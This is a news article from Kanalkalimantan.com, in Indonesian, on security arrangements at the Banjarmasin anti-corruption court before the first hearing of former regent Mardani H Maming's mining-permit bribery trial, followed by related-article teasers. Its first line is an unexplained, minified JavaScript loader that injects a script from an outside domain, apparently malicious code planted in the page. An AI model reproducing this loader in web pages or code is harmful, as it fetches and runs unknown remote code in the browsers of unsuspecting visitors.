(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jelang sidang perdana Mardani H Maming di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Kamis (10/11/2022) pagi, sejumlah personel dari Kepolisian Resort Banjarmasin dan Brimob Polda Kalsel melakukan penjagaan dan pengamanan di sekitar lokasi persidangan.
Terlihat sebuah mobil Rantis Brimob telah terpakir di halaman Pengadilan Tipikor Banjarmasin untuk mengamankan jalannya persidangan.
Mobil sound system pengurai massa dan mobil box yang berisi peralatan pengamanan juga telah disiapkan di halaman Pengadilan Tipikor Banjarmasin sejak pagi hari.
Terdakwa Mardani H Maming akan menjalani sidang pertama dengan agenda pembacaan surat dakwaan oleh Jaksa Penuntut Umum.
Baca juga: Mantan Bendahara Bawaslu Banjar Divonis 6 Tahun, Wajib Kembalikan Rp 1,3 Miliar
Pada sidang pertama ini terdakwa mantan Bupati Tanah Bumbu ini akan mengikuti sidang secara virtual melalui gedung Merah Putih Komisi Pemberantasan Korupsi (KPK).
Sebelumnya, juru bicara PN Banjarmasin Aris Bawono Langgeng mengatakan bahwa Mardani tidak ditahan di Rutan Banjarmasin, namun tetap ditahan Rutan KPK di Jakarta.
“Staf di Tipikor ditelepon oleh KPK, dikabari tahanan tetap di Jakarta,” katanya.
Diketahui Mardani H Maming mantan Bupati Tanah Bumbu periode 2010-2015 dan periode 2016-2018 tersebut diduga terlibat dalam kasus suap pengalihan Izin Usaha Pertambangan (IUP) lebih dari 100 miliar saat menjabat sebagai Bupati Tanah Bumbu.
Baca juga: BEM se Kalsel Berdemo, Mahasiswa Kembali Cari Paman Birin
Berdasarkan hasil penyidikan KPK, Mardani diduga menerima aliran suap dari pengendali PT Prolindo Cipta Nusantara (PCN) Henry Soetio, yang bermaksud memperoleh Izin Usaha Tambang (IUP) OP milik PT Bangun Karya Pratama Lestari (BKPL) seluas 370 hektare yang berlokasi di Kabupaten Tanah Bumbu.
Sementara itu, tim penasehat hukum terdakwa Mardani Maming juga sudah tiba di Pengadilan Tipikor Banjarmasin pada Kamis (10/11/2022) pagi. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
This website uses cookies.